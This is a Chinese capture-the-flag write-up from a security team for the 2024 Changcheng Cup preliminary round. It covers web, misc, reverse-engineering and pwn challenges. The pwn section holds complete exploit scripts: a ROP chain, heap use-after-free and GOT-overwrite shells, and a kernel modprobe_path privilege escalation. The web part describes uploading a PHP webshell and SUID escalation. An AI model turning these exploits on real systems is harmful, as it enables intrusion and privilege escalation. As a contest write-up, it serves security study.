本次长城杯”网络安全大赛(初赛),我们星盟安全团队以社会组第二名的优异成绩,成功晋级总决赛。
Web
CandyShop
发现原型链污染的函数
if not username or identity != 'admin':
发现为原型链污染
我们发现这⾥⾯有个secret.txt 肯定去读 但对sold有个限制 我们就想通过原型链污染去污染sold
发现需要admin伪造 然后我们爆破密钥 看⻅密钥只有七位
爆破出来了 进⾏伪造
伪造成功
读到secret.txt 得到flag的位置
发现字⺟被过滤了 我们进⾏⼋进制绕过
最后 找到flag位置就出了
成功得到flag
SQLUP
直接admin/a登录发现⼀个⽂件上传要求名字不能带p发现可以上传.htaccess
再上传一个后缀为gif的一句话木马
发现flag没有权限 直接suid提权发现tac命令具有权限
Misc
BrickGame
右键查看源代码 发现参数包
漏洞探踪,流量解密
根据⽇志⽂件 发现有上传⽂件的情况 试了⼏个ip 发现192.168.30.234 是第⼆阶段压缩包的解密
然后流量分析输⼊过滤条件 ip.dst==192.168.1.5发现key和raw(密⽂)
直接去cyberchef进⾏rc4解密 密⽂删除掉前⾯相同的
最安全的加密⽅式
分析流量包 发现rar 导出
同时发现webshell的密码就是rar的密码
解压后发现 全是md5
猜测是爆破,写个脚本
from hashlib import md5
from string import printable
flag = {}
for c in printable:
h = md5(c.encode()).hexdigest()
flag[h] = c
raw = [
'8fa14cdd754f91cc6554c9e71929cce7', '2db95e8e1a9267b7a1188556b2013b33',
'0cc175b9c0f1b6a831c399e269772661', 'b2f5ff47436671b6e533d8dc3614845d',
'f95b70fdc3088560732a5ac135644506', 'b9ece18c950afbfa6b0fdbfa4ff731d3',
'2510c39011c5be704182423e3a695e91', 'e1671797c52e15f763380b45e841ec32',
'b14a7b8059d9c055954c92674ce60032', '6f8f57715090da2632453988d9a1501b',
'cfcd208495d565ef66e7dff9f98764da', '03c7c0ace395d80182db07ae2c30f034',
'e358efa489f58062f10dd7316b65649e', 'b14a7b8059d9c055954c92674ce60032',
'c81e728d9d4c2f636f067f89cc14862c', 'e1671797c52e15f763380b45e841ec32',
'4a8a08f09d37b73795649038408b5f33', '4c614360da93c0a041b22e537de151eb',
'4b43b0aee35624cd95b910189b3dc231', 'e1671797c52e15f763380b45e841ec32',
'b14a7b8059d9c055954c92674ce60032', 'e1671797c52e15f763380b45e841ec32',
'8d9c307cb7f3c4a32822a51922d1ceaa', '4a8a08f09d37b73795649038408b5f33',
'4b43b0aee35624cd95b910189b3dc231', '57cec4137b614c87cb4e24a3d003a3e0',
'83878c91171338902e0fe0fb97a8c47a', 'e358efa489f58062f10dd7316b65649e',
'865c0c0b4ab0e063e5caa3387c1a8741', 'd95679752134a2d9eb61dbd7b91c4bcc',
'7b8b965ad4bca0e41ab51de7b31363a1', '9033e0e305f247c0c3c80d0c7848c8b3',
'9033e0e305f247c0c3c80d0c7848c8b3', '9033e0e305f247c0c3c80d0c7848c8b3',
'cbb184dd8e05c9709e5dcaedaa0495cf'
]
for c in raw:
print(flag[c], end='')
爆破就是flag
Re
easyre
打开IDA就能看见明显的异或逻辑
int __fastcall main(int argc, const char **argv, const char **envp)
{
const __m128i *v3; // rcx
unsigned __int64 v4; // r8
__int64 i; // r10
__int64 v6; // rax
if ( argc <= 1 )
exit(0);
v3 = argv[1];
v4 = 1i64;
for ( i = 0i64; i != 43; ++i )
{
v3->m128i_i8[i] ^= v3->m128i_u8[i + 1 + -42 * (v4 / 0x2A)];
++v4;
}
if ( _mm_movemask_epi8(
_mm_and_si128(
_mm_cmpeq_epi8(_mm_loadu_si128(v3), xmmword_140021410),
_mm_cmpeq_epi8(_mm_loadu_si128(v3 + 1), xmmword_140021400))) == 0xFFFF )
{
v6 = sub_1400011A0(&qword_1400312E0, "flag is your input", v4, 0xC30C30C30C30C30Dui64);
sub_1400015A0(v6);
}
return 0;
}
提取一下密文就可以了
exp:
enc = [0x0A, 0x0D, 0x06, 0x1C, 0x1D, 0x05, 0x05, 0x5F, 0x0D, 0x03,
0x04, 0x0A, 0x14, 0x49, 0x05, 0x57, 0x00, 0x1B, 0x19, 0x02,
0x01, 0x54, 0x4E, 0x4C, 0x56, 0x00, 0x51, 0x4B, 0x4F, 0x57,
0x05, 0x54, 0x55, 0x03, 0x53, 0x57, 0x01, 0x03, 0x07, 0x04,
0x4A, 0x77, 0x0D]
str = enc.copy()
flag = ""
for i in range(41,-1,-1):
str[i] ^= str[(i+1)%42]
for i in range(len(str)):
flag+=chr(str[i])
print(flag)
Pwn
FlowerShop
绕过这一段可以覆盖money为任意值
if ( strcmp(dest, c) )
{
puts(&byte_4012D8);
exit(0);
}
而c的值为'pwn',那么将payload对应位置的值改成pwn即可
然后再check函数处会造成栈溢出,只要买了两个a选项再买一个magic就有溢出和system和binsh
DWORD *__fastcall check(unsigned int *a1, _DWORD *a2)
{
_DWORD *result; // rax
result = (_DWORD *)*a1;
if ( (_DWORD)result == 2 )
{
result = (_DWORD *)a1[1];
if ( (_DWORD)result == 1 )
{
result = a2;
*a2 = 70;
}
}
return result;
}
最后构造rop链即可
完整exp:
from pwn import *
from Crypto.Cipher import AES
context(arch='amd64', os='linux', log_level='debug')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
li = lambda x : print('x1b[01;38;5;214m' + str(x) + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + str(x) + 'x1b[0m')
def dbg():
gdb.attach(r)
pause()
r = remote('8.147.134.24', 19778)
r.send(b'a'*(0x34)+b'pwn'+p32(0x404040))
r.sendlineafter('请输入你的选项:n', 'a')
r.sendlineafter('请输入购买的商品序号:n', 'c')
r.sendlineafter('你想要继续买花吗? 1/0', '1')
r.sendlineafter('请输入购买的商品序号:n', 'a')
r.sendlineafter('你想要继续买花吗? 1/0', '1')
r.sendlineafter('请输入购买的商品序号:n', 'a')
r.sendlineafter('你想要继续买花吗? 1/0', '1')
r.sendlineafter('请输入购买的商品序号:n', 'b')
r.sendlineafter('你想要继续买花吗? 1/0', b'a'*0x18 + p64(0x400f13) + p64(0x601840) + p64(0x4006f6) + p64(0x400730) + p64(0x4007d0))
r.interactive()
Kylin_Heap
普通的堆题,有uaf并且chunk申请大小范围为0~0x500,可以直接泄露libc打freehook
libc是kylin的直接替换就好
脚本如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './Heap'
libc=ELF('./libc-2.31-0kylin9.2k0.2.so')
li = lambda x : print('x1b[01;38;5;214m' + str(x) + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + str(x) + 'x1b[0m')
debug = 1
if debug:
r = remote('8.147.131.74', 45293)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
pause()
def dbgg():
raw_input()
menu = 'adventurer? '
def add(size,content):
r.sendlineafter(menu,'1')
r.sendlineafter('bytes): ', str(size))
r.sendlineafter('bytes):n', content)
def edit(index, content):
r.sendlineafter(menu,'3')
r.sendlineafter(':', str(index))
r.sendafter(' bytes):n', content)
def delete(index):
r.sendlineafter(menu,'2')
r.sendlineafter(': ', str(index))
def show(index):
r.sendlineafter(menu,'4')
r.sendlineafter(': ', str(index))
add(0x410,'a')
add(0x60,'a')#1
delete(0)
show(0)
libc_base=u64(r.recvuntil('x7f')[-6:].ljust(8,b'x00'))-96-0x10-libc.sym['__malloc_hook']
system=libc_base+libc.sym['system']
free_hook = libc_base+libc.sym['__free_hook']
add(0x60,'a')#2
add(0x60,'a')#3
print(hex(libc_base))
delete(1)
delete(2)
edit(2,p64(free_hook))
add(0x60,'/bin/shx00')
add(0x60,p64(system))
delete(4)
r.interactive()
consumption
在add的sscanf的地方有溢出,可以直接修改 add 的第三个参数指针
那么就可以将指针覆盖成heaplist,然后往list上面写got表,随后覆盖掉free的的got为system
最后free掉一个写入了binsh的堆块即可getshell
完整exp
from pwn import *
import json
context(arch='i386', os='linux', log_level='debug')
file_name = './pwn'
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc.so.6')
li = lambda x : print('x1b[01;38;5;214m' + str(x) + 'x1b[0m')
ll = lambda x : print('x1b[01;38;5;1m' + str(x) + 'x1b[0m')
#context.terminal = ['tmux','splitw','-h']
debug = 1
if debug:
r = remote('8.147.128.54', 42803)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
pause()
def dbgg():
raw_input()
#dbgg()
menu = '5.exittn'
def generate_json(choice, idx, size=1, content='a'):
data = {
"choice":str(choice),
}
data["idx"] = idx
data["size"] = str(size)
data["content"] = content
return json.dumps(data, separators=(',', ':'))
def add(index, sizes,contents):
json1 = generate_json(1, idx=index, size=sizes, content=contents)#.decode('utf-8')
#print(json1)
r.sendlineafter(menu,json1)
def edit(index,sizes, contents):
json4 = generate_json(4, idx=index, size=sizes, content=contents)
r.sendlineafter(menu,json4)
def delete(index):
json2 = generate_json(2, idx=index)
r.sendlineafter(menu,json2)
def show(index):
json3 = generate_json(3, idx=index)
r.sendlineafter(menu,json3)
#1
choice = 1
idx = 0
size = 0xB0
data = b'a'*0x4C9
payload0 = '{"choice":"%s","idx":%d,"size":"%s","content":"%s"}' % (choice,idx,size,data)
payload0 = payload0.encode() + p32(0) + p32(0x8051B24)
r.sendlineafter(menu,payload0)
#2
choice = 1
idx = 0
size = 0x1a
data =b'a'*0x4CA
payload1 = '{"choice":"%s","idx":%d,"size":"%s","content":"%s"}' % (choice,idx,size,data)
payload1 = payload1.encode() + p32(0) + p32(0x8051B25)
r.sendlineafter(menu,payload1)
#3
choice = 1
idx = 0
size = 0x05
data = b'a'*0x4CB
payload2 = '{"choice":"%s","idx":%d,"size":"%s","content":"%s"}' % (choice,idx,size,data)
payload2 = payload2.encode() + p32(0) + p32(0x8051B26)
r.sendlineafter(menu,payload2)
#4
choice = 1
idx = 0
size = 0x08
data = b'a'*0x4CB
payload3 = '{"choice":"%s","idx":%d,"size":"%s","content":"%s"}' % (choice,idx,size,data)
payload3 = payload3.encode() + p32(0) + p32(0x8051B27)
r.sendlineafter(menu,payload3)
add(0,0x68,'/bin/sh')
delete(4)
add(0,0x68,'/bin/sh')
show(5)
r.recvuntil('content:')
libc_base = u32(r.recv(4))-libc.sym['free']
print(hex(libc_base))
system = libc_base+libc.sym['system']
choice = 4
size = 0
idx = 5
payload4 = '{"choice":"%s","idx":%d,"size":"%s","content":"' % (choice,idx,size)
payload4 = payload4.encode() + p32(system) +b'"}'
r.sendlineafter(menu,payload4)
delete(4)
#dbg()
r.interactive()
Kylin_Driver
内核任意地址读写
构造rop修改modprobe_path
exp:
void exp_modprobe_path_flag()
{
int exp_fd;
char *child_args[] = {"/tmp/err", NULL};
char buf[0x100] = {0};
exp_fd = open("/tmp/x", O_WRONLY | O_CREAT | O_NOCTTY | O_NONBLOCK, 0755);
write(exp_fd, "#!/bin/shn"
"chmod 644 /flagn",
26);
close(exp_fd);
exp_fd = open("/tmp/err", O_WRONLY | O_CREAT | O_NOCTTY | O_NONBLOCK, 0755);
write(exp_fd, "����", 4);
close(exp_fd);
execve(child_args[0], child_args, child_args + 1);
exp_fd = open("/flag", O_RDONLY);
if (exp_fd == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
read(exp_fd, buf, sizeof(buf));
puts(buf);
}
int main()
{
unsigned char buf[0x1000] = {0};
size_t *ptr = buf + 0x20;
size_t kernel_base_addr = 0;
int i;
size_t result;
char path[8] = "/tmp/x";
int pid;
int fd;
pid = fork();
if (pid == 0) {
fd = open("/dev/test", O_RDWR);
if(fd == -1)
{
perror("open");
exit(EXIT_FAILURE);
}
strcpy(buf, "gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc");
for (i = 0; i < 0x20; i++)
{
buf[i] ^= 0xf9;
}
ioctl(fd, GET, buf);
for (i = 0x20; i < 0x200+0x20; i++)
{
buf[i] ^= 0xf9;
}
// print_hex(buf + 0x20, 0x200);
kernel_base_addr = *(size_t*)(buf + 0x20 + 0xa8) - 0x32a555;
printf("kernel_base_addr: %lxn", kernel_base_addr);
// 0x000000000007f8d2: mov qword ptr [r10], rdx; ret;
// 0x0000000000b36652: pop r10; pop r12; pop rbp; ret;
// 0x00000000001b7cf0: pop rdx; ret;
*ptr++ = kernel_base_addr + 0x0000000000b36652;
*ptr++ = kernel_base_addr + 0x1864fc0; // modprobe_path
*ptr++ = 0;
*ptr++ = 0;
*ptr++ = kernel_base_addr + 0x00000000001b7cf0;
*ptr++ = *(size_t*)path;
*ptr++ = kernel_base_addr + 0x000000000007f8d2;
for (i = 0x20; i < 0x200+0x20; i++)
{
buf[i] ^= 0xf9;
}
ioctl(fd, ROP, buf);
exit(EXIT_SUCCESS);
}
else
{
waitpid(pid, NULL, 0);
}
exp_modprobe_path_flag();
return 0;
}
原文始发于微信公众号(星盟安全):2024年第四届“长城杯”网络安全大赛(初赛)Writeup
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论